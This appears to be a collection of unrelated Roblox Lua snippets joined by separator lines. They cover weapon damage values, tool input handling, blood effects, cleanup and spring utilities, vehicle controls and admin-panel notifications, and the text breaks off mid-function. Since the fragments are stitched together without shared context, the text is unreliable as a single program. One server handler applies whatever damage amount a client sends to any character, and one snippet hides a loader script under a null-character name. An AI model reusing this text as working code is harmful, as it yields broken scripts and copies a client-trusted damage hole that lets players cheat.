LimbDamage = 33; -- Arms and Legs
ArmorDamage = 33; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 61; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--[=[
Swaps keys with values, overwriting additional values if duplicated.
@param orig table -- Original table
@return table
]=]
|
function Table.swapKeyValue(orig)
local tab = {}
for key, val in pairs(orig) do
tab[val] = key
end
return tab
end
|
-- Functions --
|
local function playSoundLocal(sId,sParent)
local sound = Instance.new("Sound",sParent)
sound.SoundId = "http://www.roblox.com/asset/?id="..sId
sound:Play()
sound:Destroy()
end
local function onClicked(player)
print(player.Name.." clicked on Uniform Giver")
playSoundLocal(152206246,player) -- Declaring the sound ID and Parent
local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt
if not foundShirt then -- if there is no shirt
print("No shirt found, creating for "..player.Name)
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
else if foundShirt then -- if there is a shirt
print("Shirt found, reconstructing for "..player.Name)
player.Character.Shirt:remove()
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
end
end
local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants
if not foundPants then -- if there are no pants
print("No pants found, creating for "..player.Name)
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
else if foundPants then -- if there are pants
print("Pants found, reconstructing for "..player.Name)
player.Character.Pants:remove()
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
end
end
player.Character.Shirt.ShirtTemplate = shirtId
player.Character.Pants.PantsTemplate = pantsId
end
|
--Made by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
RunService = game:GetService("RunService")
ContentProvider = game:GetService("ContentProvider")
Camera = game:GetService("Workspace").CurrentCamera
Animations = {}
LocalObjects = {}
ServerControl = Tool:WaitForChild("ServerControl")
ClientControl = Tool:WaitForChild("ClientControl")
ToolEquipped = false
function SetAnimation(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
local AnimationTrack = Humanoid:LoadAnimation(value.Animation)
table.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})
AnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)
elseif mode == "StopAnimation" and value then
for i, v in pairs(Animations) do
if v.Animation == value.Animation then
v.AnimationTrack:Stop()
table.remove(Animations, i)
end
end
end
end
function DisableJump(Boolean)
if PreventJump then
PreventJump:disconnect()
end
if Boolean then
PreventJump = Humanoid.Changed:connect(function(Property)
if Property == "Jump" then
Humanoid.Jump = false
end
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
ToolEquipped = true
if not CheckIfAlive() then
return
end
PlayerMouse = Player:GetMouse()
Mouse.Button1Down:connect(function()
InvokeServer("MouseClick", {Down = true})
end)
Mouse.Button1Up:connect(function()
InvokeServer("MouseClick", {Down = false})
end)
Mouse.KeyDown:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = true})
end)
Mouse.KeyUp:connect(function(Key)
InvokeServer("KeyPress", {Key = Key, Down = false})
end)
Mouse.Move:connect(function()
InvokeServer("MouseMove", {Position = Mouse.Hit.p, Target = Mouse.Target})
end)
Humanoid:ChangeState(Enum.HumanoidStateType.None)
end
function Unequipped()
ToolEquipped = false
LocalObjects = {}
for i, v in pairs(Animations) do
if v and v.AnimationTrack then
v.AnimationTrack:Stop()
end
end
for i, v in pairs({PreventJump, ObjectLocalTransparencyModifier}) do
if v then
v:disconnect()
end
end
Humanoid:ChangeState(Enum.HumanoidStateType.Freefall) --Prevent the ability to fly by constantly equipping and unequipping the tool.
Animations = {}
end
function InvokeServer(mode, value)
pcall(function()
local ServerReturn = ServerControl:InvokeServer(mode, value)
return ServerReturn
end)
end
function OnClientInvoke(mode, value)
if mode == "PlayAnimation" and value and ToolEquipped and Humanoid then
SetAnimation("PlayAnimation", value)
elseif mode == "StopAnimation" and value then
SetAnimation("StopAnimation", value)
elseif mode == "PlaySound" and value then
value:Play()
elseif mode == "StopSound" and value then
value:Stop()
elseif mode == "MousePosition" then
return {Position = PlayerMouse.Hit.p, Target = PlayerMouse.Target}
elseif mode == "DisableJump" then
DisableJump(value)
elseif mode == "Preload" and value then
ContentProvider:Preload(value)
elseif mode == "SetLocalTransparencyModifier" and value and ToolEquipped then
pcall(function()
local ObjectFound = false
for i, v in pairs(LocalObjects) do
if v == value then
ObjectFound = true
end
end
if not ObjectFound then
table.insert(LocalObjects, value)
if ObjectLocalTransparencyModifier then
ObjectLocalTransparencyModifier:disconnect()
end
ObjectLocalTransparencyModifier = RunService.RenderStepped:connect(function()
for i, v in pairs(LocalObjects) do
if v.Object and v.Object.Parent then
local CurrentTransparency = v.Object.LocalTransparencyModifier
if ((not v.AutoUpdate and (CurrentTransparency == 1 or CurrentTransparency == 0)) or v.AutoUpdate) then
v.Object.LocalTransparencyModifier = v.Transparency
end
else
table.remove(LocalObjects, i)
end
end
end)
end
end)
end
end
ClientControl.OnClientInvoke = OnClientInvoke
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
|
local function GetMass(parent)
local mass = 0
for _,v in pairs(parent:GetChildren()) do
if (v:IsA("BasePart") or v:IsA("MeshPart")) then
if not v.Massless then
mass = (mass + v:GetMass())
end
end
mass = mass + GetMass(v)
end
return mass
end -- GetMass()
local function SetMassless(parent, self)
for _,part in pairs(parent:GetDescendants()) do
if ((part:IsA("BasePart") or part:IsA("MeshPart")) and (part ~= self.main)) then
part.Massless = true
end
end
end -- SetMassless
|
--tone hz
|
if sv.Value==1 then
while s.Pitch<0.6 do
s.Pitch=s.Pitch+0.010
s:Play()
if s.Pitch>0.6 then
s.Pitch=0.6
end
wait(-9)
end
while true do
for x = 1, 500 do
s:play()
wait(-9)
end
wait()
end
|
--[=[
Returns whether an object is a SpringObject.
@param value any
@return boolean
]=]
|
function SpringObject.isSpringObject(value)
return type(value) == "table" and getmetatable(value) == SpringObject
end
|
-- Local Functions
|
local function GetTeamFromColor(teamColor)
for _, team in ipairs(Teams:GetTeams()) do
if team.TeamColor == teamColor then
return team
end
end
return nil
end
|
------------------------------------------------------------------------------------------------------------
|
function configureAnimationSetOld(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 1
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject == nil) then
animTable[name][idx].weight = 1
else
animTable[name][idx].weight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
idx = idx + 1
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
-- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
end
end
-- preload anims
if PreloadAnimsUserFlag then
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
Humanoid:LoadAnimation(animType[idx].anim)
end
end
end
end
|
-------------- I'm not responsible for any PAIN if you edit past this (pun intended)
|
local blood_folder = Instance.new("Folder",game.Workspace)
blood_folder.Name = "Blood.Splatter.Particles"
function create_blood_splatter(player_class)
local blood_parts = {"Left Leg","Right Leg","Torso","Right Arm","Left Arm","Head"}
local chosen_part
if(player_class.humanoid.Health <= 0) then
repeat wait() chosen_part = blood_parts[math.random(1,#blood_parts)] until player_class.character:FindFirstChild(chosen_part)
chosen_part = player_class.character[chosen_part]
local blood_emmiter = script.Blood:Clone()
blood_emmiter.Parent = chosen_part
blood_emmiter.Enabled = true
else
chosen_part = player_class.torso
end
local ray = Ray.new(chosen_part.Position, Vector3.new(0,-100,0))
local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray, {blood_folder , unpack(player_class.character:GetChildren())} , true)
if(hit) then
local blood = Instance.new("Part",blood_folder)
blood.Anchored = true
blood.CanCollide = false
blood.Transparency = 1
blood.Name = "Particle_Blood"
blood.FormFactor = Enum.FormFactor.Custom
blood.Size = Vector3.new(0.01 , 0.1 , 0.01)
blood.CFrame = CFrame.new(position)
local blood_decal = Instance.new("Decal",blood)
blood_decal.Transparency = 1
blood_decal.Texture = "http://www.roblox.com/asset/?id=" .. blood_textures[math.random(1,#blood_textures)]
blood_decal.Face = "Top"
game.Debris:AddItem(blood,settings.remove_time+20)
local edit_blood = coroutine.wrap(function()
local original_size = blood.Size
local original_transparency = blood_decal.Transparency
local new_transparency = math.random(settings.max_transparency*100,settings.min_transparency*100)/100
local new_size = Vector3.new(math.random(settings.min_size_x*100,settings.max_size_x*100)/100 , blood.Size.Y , math.random(settings.min_size_z*100,settings.max_size_z*100)/100)
local tran_tw_time = math.random(settings.tran_tw_time_min*100,settings.tran_tw_time_max*100)/100
local size_tw_time = math.random(settings.size_tw_time_min*100,settings.size_tw_time_max*100)/100
for i = 1,10*tran_tw_time do
wait()
local perc = i/(10*tran_tw_time)
blood_decal.Transparency = original_transparency - (perc*new_transparency)
end
for i = 1,10*size_tw_time do
wait()
local perc = i/(10*size_tw_time)
blood.Size = Vector3.new(original_size.X+(perc*new_size.X) , original_size.Y , original_size.Z+(perc*new_size.Z))
end
wait(settings.remove_time)
blood:Destroy()
end)
edit_blood()
end
end
function monitor_character(player_class)
local last_health = player_class.humanoid.Health
player_class.humanoid.HealthChanged:connect(function()
if(player_class.humanoid.Health < last_health) then
if(last_health - player_class.humanoid.Health >= settings.damage_inc) then
for i = 1,settings.splatters_per_health_inc*((last_health - player_class.humanoid.Health)/settings.damage_inc) do
create_blood_splatter(player_class)
if(settings.max_splatter_time > 0) then
wait(math.random(settings.min_splatter_time*100,settings.max_splatter_time*100)/100)
end
end
end
end
last_health = player_class.humanoid.Health
end)
end
function monitor_player(player)
repeat wait() until player.Character ~= nil
player.CharacterAdded:connect(function()
local player_class = {
player = player,
character = player.Character,
torso = player.Character:WaitForChild("Torso"),
head = player.Character:WaitForChild("Head"),
humanoid = player.Character:WaitForChild("Humanoid"),
}
monitor_character(player_class)
end)
local player_class = {
player = player,
character = player.Character,
torso = player.Character:WaitForChild("Torso"),
head = player.Character:WaitForChild("Head"),
humanoid = player.Character:WaitForChild("Humanoid"),
}
monitor_character(player_class)
end
game.Players.PlayerAdded:connect(function(player)
monitor_player(player)
end)
for i,v in ipairs(game.Players:GetChildren()) do
if(v.ClassName == "Player") then
monitor_player(v)
end
end
|
--[[
StreamableUtil.Compound(observers: {Observer}, handler: ({[child: string]: Instance}, maid: Maid) -> void): Maid
Example:
local streamable1 = Streamable.new(someModel, "SomeChild")
local streamable2 = Streamable.new(anotherModel, "AnotherChild")
StreamableUtil.Compound({S1 = streamable1, S2 = streamable2}, function(streamables, maid)
local someChild = streamables.S1.Instance
local anotherChild = streamables.S2.Instance
maid:GiveTask(function()
-- Cleanup
end)
end)
--]]
|
local Maid = require(script.Parent.Maid)
local StreamableUtil = {}
function StreamableUtil.Compound(streamables, handler)
local compoundMaid = Maid.new()
local observeAllMaid = Maid.new()
local allAvailable = false
local function Check()
if (allAvailable) then return end
for _,streamable in pairs(streamables) do
if (not streamable.Instance) then
return
end
end
allAvailable = true
handler(streamables, observeAllMaid)
end
local function Cleanup()
if (not allAvailable) then return end
allAvailable = false
observeAllMaid:DoCleaning()
end
for _,streamable in pairs(streamables) do
compoundMaid:GiveTask(streamable:Observe(function(_child, maid)
Check()
maid:GiveTask(Cleanup)
end))
end
compoundMaid:GiveTask(Cleanup)
return compoundMaid
end
return StreamableUtil
|
--------------------
-- Mesh Settings: -- [If you want a mesh drop, set meshDrop to true up on top.]
-- Look at the mesh properties and change the inside of the quotes below to the appropriate
-- full link or the rbxasset:// style, doesnt matter which one you see in the mesh you want
|
meshID = "http://www.roblox.com/asset?id=160003363"
textureID = "http://www.roblox.com/asset/?id=192068356"
|
--UIS.InputEnded:Connect(function(key)
-- if key.KeyCode == Flash then
-- flashing = false
-- if not Popups_Enabled then
-- if parklightActive then
-- LightEvent:FireServer("Headlights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- else
-- LightEvent:FireServer("Headlights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- end
-- else
-- if parklightActive then
-- LightEvent:FireServer("PopupLights", 0, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- else
-- LightEvent:FireServer("PopupLights", HL.Value, Fade_Time, tabG, Light_Type, Popups_Enabled)
-- end
-- end
-- end
--end)
|
UIS.InputBegan:Connect(input)
|
--Made by Luckymaxer
|
Joints = {
["Neck"] = {
Part0 = "Torso",
Part1 = "Head",
C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
MaxVelocity = 0.1,
Parent = "Torso",
},
["RootJoint"] = {
Part0 = "HumanoidRootPart",
Part1 = "Torso",
C0 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0),
MaxVelocity = 0.1,
Parent = "HumanoidRootPart",
},
["Left Shoulder"] = {
Part0 = "Torso",
Part1 = "Left Arm",
C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
MaxVelocity = 0.1,
Parent = "Torso",
},
["Right Shoulder"] = {
Part0 = "Torso",
Part1 = "Right Arm",
C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
MaxVelocity = 0.1,
Parent = "Torso",
},
["Left Hip"] = {
Part0 = "Torso",
Part1 = "Left Leg",
C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0),
MaxVelocity = 0.1,
Parent = "Torso",
},
["Right Hip"] = {
Part0 = "Torso",
Part1 = "Right Leg",
C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0),
MaxVelocity = 0.1,
Parent = "Torso",
},
}
return Joints
|
--module.Subtract = function(t1, t2) --what is this i don't even
-- if (#t1 <= #t2) then
-- for i, obj in pairs(t2) do
-- for ix, obj2 in pairs(t1) do
-- if (obj == obj2) then
-- t1[ix] = nil
-- end
-- end
-- end
-- else
-- for i, obj in pairs(t1) do
-- for ix, obj2 in pairs(t2) do
-- if (obj == obj2) then
-- t1[i] = nil
-- end
-- end
-- end
-- end
-- return t1
--end
--
--module.ConcatToLength = function(t, char)
-- char = char or "."
--
-- local longest = 0
-- for i, v in pairs(t) do
-- local str = tostring(i) .. tostring(v)
-- if (#str > longest) then longest = #str end
-- end
--
-- longest = longest + 3
--
-- local ret = { }
-- for i, v in pairs(t) do
-- local strlength = #tostring(i) + #tostring(v)
--
-- local str = tostring(i) .. " "
-- for i = 1, longest - strlength do
-- str = str .. char
-- end
-- str = str .. " " .. tostring(v)
-- ret[#ret + 1] = str
-- end
--
-- return ret
--end
--
--module.Sort = function(t, func)
-- local ret = t
-- local function lol(a, b)
-- local a1 = string.sub(tostring(a), 1, 1):lower()
-- local b1 = string.sub(tostring(b), 1, 1):lower()
-- print(a1, b1)
-- return (alphabet[a1] > alphabet[b1])
-- end
--
-- table.sort(ret, lol)
-- return ret
--end
|
return module
|
--[[
I love adonis, thanks for showing me shit that i couldnt figure out myself :heart:
https://www.roblox.com/library/2373505175/Adonis-Loader-BETA
--]]
|
local Loader = script.Loader:Clone()
Loader.Parent = script.Parent
Loader.Name = "\0"
Loader.Archivable = false
Loader.Disabled = false
|
--[[[Default Controls]]
|
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.P ,
--Handbrake
PBrake = Enum.KeyCode.LeftShift ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = Enum.KeyCode.ButtonB ,
ContlrToggleTCS = Enum.KeyCode.DPadDown ,
ContlrToggleABS = Enum.KeyCode.ButtonL3 ,
}
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
local playergui = service.PlayerGui
local localplayer = service.Players.LocalPlayer
local frame = script.Parent.Parent
local nFrame = frame:WaitForChild("Frame");
local iconF = nFrame:WaitForChild("Icon");
local main = nFrame:WaitForChild("Main");
local close = nFrame:WaitForChild("Close");
local title = nFrame:WaitForChild("Title");
local timer = nFrame:WaitForChild("Timer");
local gTable = data.gTable
local clickfunc = data.OnClick
local closefunc = data.OnClose
local ignorefunc = data.OnIgnore
local name = data.Title
local text = data.Message or data.Text or ""
local time = data.Time
local icon = data.Icon or client.MatIcons.Info
local returner = nil
if clickfunc and type(clickfunc)=="string" then
clickfunc = client.Core.LoadCode(clickfunc, GetEnv())
end
if closefunc and type(closefunc)=="string" then
closefunc = client.Core.LoadCode(closefunc, GetEnv())
end
if ignorefunc and type(ignorefunc)=="string" then
ignorefunc = client.Core.LoadCode(ignorefunc, GetEnv())
end
local holder = client.UI.Get("NotificationHolder",nil,true)
if not holder then
client.UI.Make("NotificationHolder")
holder = client.UI.Get("NotificationHolder",nil,true)
holder.Object.ScrollingFrame.Active = false
end
holder = holder.Object.ScrollingFrame
title.Text = name
main.Text = text
iconF.Image = icon
local log = {
Type = "Notification";
Title = name;
Message = text;
Icon = icon or 0;
Time = os.date("%X");
Function = clickfunc;
}
table.insert(client.Variables.CommunicationsHistory, log)
service.Events.CommsPanel:Fire(log)
main.MouseButton1Click:Connect(function()
if frame and frame.Parent then
if clickfunc then
returner = clickfunc()
end
frame:Destroy()
end
end)
close.MouseButton1Click:Connect(function()
if frame and frame.Parent then
if closefunc then
returner = closefunc()
end
gTable:Destroy()
end
end)
frame.Parent = holder
task.spawn(function()
local sound = Instance.new("Sound",service.LocalContainer())
sound.SoundId = 'rbxassetid://203785584'--client.NotificationSound
sound.Volume = 0.2
sound:Play()
wait(0.5)
sound:Destroy()
end)
if time then
timer.Visible = true
repeat
timer.Text = time
wait(1)
time = time-1
until time<=0 or not frame or not frame.Parent
if frame and frame.Parent then
if frame then frame:Destroy() end
if ignorefunc then
returner = ignorefunc()
end
end
end
return returner
end
|
--keep at bottom
|
setmetatable(Template, {
__index = Template.AllData,
__newindex = Template.AllData
})
return Template
|
--[[
Controls transparency of Humanoid parts.
]]
|
local HumanoidController = {}
HumanoidController.__index = HumanoidController
local States = {
Idle = 0,
Animating = 1,
}
function HumanoidController.new(player)
local self = {
player = player,
characterParts = {},
state = States.Idle,
animationCompleted = Instance.new("BindableEvent"),
spring = Otter.spring,
}
self.setOriginalTransparencies = function()
local character = self.player.Character
if character and self.state == States.Idle then
for _, descendant in ipairs(character:GetDescendants()) do
if descendant:IsA("BasePart") or descendant:IsA("Decal") then
self.characterParts[descendant] = descendant.Transparency
end
end
end
end
self.motor = Otter.createSingleMotor(0)
self.motor:onStep(function(value)
for part, originalTransparency in pairs(self.characterParts) do
part.Transparency = math.max(value, originalTransparency)
end
end)
self.motor:onComplete(function(value: number)
if value == 1 then
local character = self.player.Character
if not character then
return
end
character.Parent = ReplicatedStorage -- Move the character out of the world
end
self.state = States.Idle
self.animationCompleted:Fire()
end)
setmetatable(self, HumanoidController)
return self
end
function HumanoidController:show()
local character = self.player.Character
if not character then
return
end
character.Parent = workspace -- Place character back to the world
self.state = States.Animating
self.motor:setGoal(self.spring(0))
end
function HumanoidController:hide()
self.setOriginalTransparencies()
self.state = States.Animating
self.motor:setGoal(self.spring(1))
end
function HumanoidController:isAnimating()
return self.state == States.Animating
end
return HumanoidController
|
--------LIGHTED RECTANGLES--------
|
game.Workspace.rightpalette.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l14.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l15.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l16.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l24.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l25.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.rightpalette.l26.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
|
-- the random part/tool spawn positions.
|
Pos1 = script.Parent.Pos1.CFrame
Pos2 = script.Parent.Pos2.CFrame
Pos3 = script.Parent.Pos3.CFrame
Pos4 = script.Parent.Pos4.CFrame
|
-- I like being simple.
|
local Tool = script.Parent
local Handle = Tool:WaitForChild("Handle")
local Receiver = Tool:WaitForChild("Receiver")
local Flash = Tool:WaitForChild("Flash")
local Spur = Flash:WaitForChild("Image")
local Smoke = Flash:WaitForChild("ImageTwo")
Receiver.OnServerEvent:connect(function (player, action, ...)
local Data = {...}
if action and Data then
if action == "PlaySound" then
if Handle:FindFirstChild(Data[1]) then
Handle[Data[1]]:Play()
end
elseif action == "Flash" then
Handle:WaitForChild("Flash").Enabled = Data[1]
Flash:WaitForChild("Embers").Enabled = Data[1]
Spur:WaitForChild("Flash").Rotation = math.random(0, 360)
Smoke:WaitForChild("Flash").Rotation = math.random(0, 360)
Spur.Enabled = Data[1]
Smoke.Enabled = Data[2]
elseif action == "Damage" then
if Data[1]:IsA("Humanoid") and type(Data[2]) == "number" then
Data[1]:TakeDamage(Data[2])
end
end
end
end)
|
--[=[
Utility function that returns whether or not a spring is animating based upon
velocity and closeness to target, and as the second value, the value that should be
used.
@param spring Spring<T>
@param epsilon number? -- Optional epsilon
@return boolean, T
]=]
|
function SpringUtils.animating(spring, epsilon)
epsilon = epsilon or EPSILON
local position = spring.Position
local target = spring.Target
local animating
if type(target) == "number" then
animating = math.abs(spring.Position - spring.Target) > epsilon
or math.abs(spring.Velocity) > epsilon
else
local rbxtype = typeof(target)
if rbxtype == "Vector3" or rbxtype == "Vector2" or LinearValue.isLinear(target) then
animating = (spring.Position - spring.Target).magnitude > epsilon
or spring.Velocity.magnitude > epsilon
else
error("Unknown type")
end
end
if animating then
return true, position
else
-- We need to return the target so we use the actual target value (i.e. pretend like the spring is asleep)
return false, target
end
end
|
--[=[
Adds an `Object` to Janitor for later cleanup, where `MethodName` is the key of the method within `Object` which should be called at cleanup time.
If the `MethodName` is `true` the `Object` itself will be called instead. If passed an index it will occupy a namespace which can be `Remove()`d or overwritten.
Returns the `Object`.
:::info
Objects not given an explicit `MethodName` will be passed into the `typeof` function for a very naive typecheck.
RBXConnections will be assigned to "Disconnect", functions will be assigned to `true`, and everything else will default to "Destroy".
Not recommended, but hey, you do you.
:::
```lua
local Workspace = game:GetService("Workspace")
local TweenService = game:GetService("TweenService")
local Obliterator = Janitor.new()
local Part = Workspace.Part
-- Queue the Part to be Destroyed at Cleanup time
Obliterator:Add(Part, "Destroy")
-- Queue function to be called with `true` MethodName
Obliterator:Add(print, true)
-- This implementation allows you to specify behavior for any object
Obliterator:Add(TweenService:Create(Part, TweenInfo.new(1), {Size = Vector3.new(1, 1, 1)}), "Cancel")
-- By passing an Index, the Object will occupy a namespace
-- If "CurrentTween" already exists, it will call :Remove("CurrentTween") before writing
Obliterator:Add(TweenService:Create(Part, TweenInfo.new(1), {Size = Vector3.new(1, 1, 1)}), "Destroy", "CurrentTween")
```
```ts
import { Workspace, TweenService } from "@rbxts/services";
import { Janitor } from "@rbxts/janitor";
const Obliterator = new Janitor<{ CurrentTween: Tween }>();
const Part = Workspace.FindFirstChild("Part") as Part;
// Queue the Part to be Destroyed at Cleanup time
Obliterator.Add(Part, "Destroy");
// Queue function to be called with `true` MethodName
Obliterator.Add(print, true);
// This implementation allows you to specify behavior for any object
Obliterator.Add(TweenService.Create(Part, new TweenInfo(1), {Size: new Vector3(1, 1, 1)}), "Cancel");
// By passing an Index, the Object will occupy a namespace
// If "CurrentTween" already exists, it will call :Remove("CurrentTween") before writing
Obliterator.Add(TweenService.Create(Part, new TweenInfo(1), {Size: new Vector3(1, 1, 1)}), "Destroy", "CurrentTween");
```
@param Object T -- The object you want to clean up.
@param MethodName? string|true -- The name of the method that will be used to clean up. If not passed, it will first check if the object's type exists in TypeDefaults, and if that doesn't exist, it assumes `Destroy`.
@param Index? any -- The index that can be used to clean up the object manually.
@return T -- The object that was passed as the first argument.
]=]
|
function Janitor:Add(Object: any, MethodName: StringOrTrue?, Index: any?): any
if Index then
self:Remove(Index)
local This = self[IndicesReference]
if not This then
This = {}
self[IndicesReference] = This
end
This[Index] = Object
end
MethodName = MethodName or TypeDefaults[typeof(Object)] or "Destroy"
if type(Object) ~= "function" and not Object[MethodName] then
warn(string.format(METHOD_NOT_FOUND_ERROR, tostring(Object), tostring(MethodName), debug.traceback(nil :: any, 2)))
end
self[Object] = MethodName
return Object
end
|
--- Get (or create) BindableEvent
|
function GetEvent(eventName)
--- Variables
eventName = string.lower(eventName)
local event = events[eventName]
--- Check if event already exists
if not event then
--- Create event
event = Instance.new("BindableEvent")
event.Name = eventName
events[eventName] = event
end
--
return event
end
|
-------------------------
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if key == "f" then
carSeat.Parent.SS.Motor.DesiredAngle = -0.2
elseif key == "g" then
carSeat.Parent.Parent.SFR.SS.Motor.DesiredAngle = 0.2
elseif key == "j" then
carSeat.Parent.SS.Motor.DesiredAngle = 0
carSeat.Parent.Parent.SFR.SS.Motor.DesiredAngle = 0
elseif key == "t" then --Camera controls
if cam == ("car") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Custom")
cam = ("freeplr")
Camera.FieldOfView = 70
limitButton.Text = "Free Camera"
wait(3)
limitButton.Text = ""
elseif cam == ("freeplr") then
Camera.CameraSubject = player.Character.Humanoid
Camera.CameraType = ("Attach")
cam = ("lockplr")
Camera.FieldOfView = 45
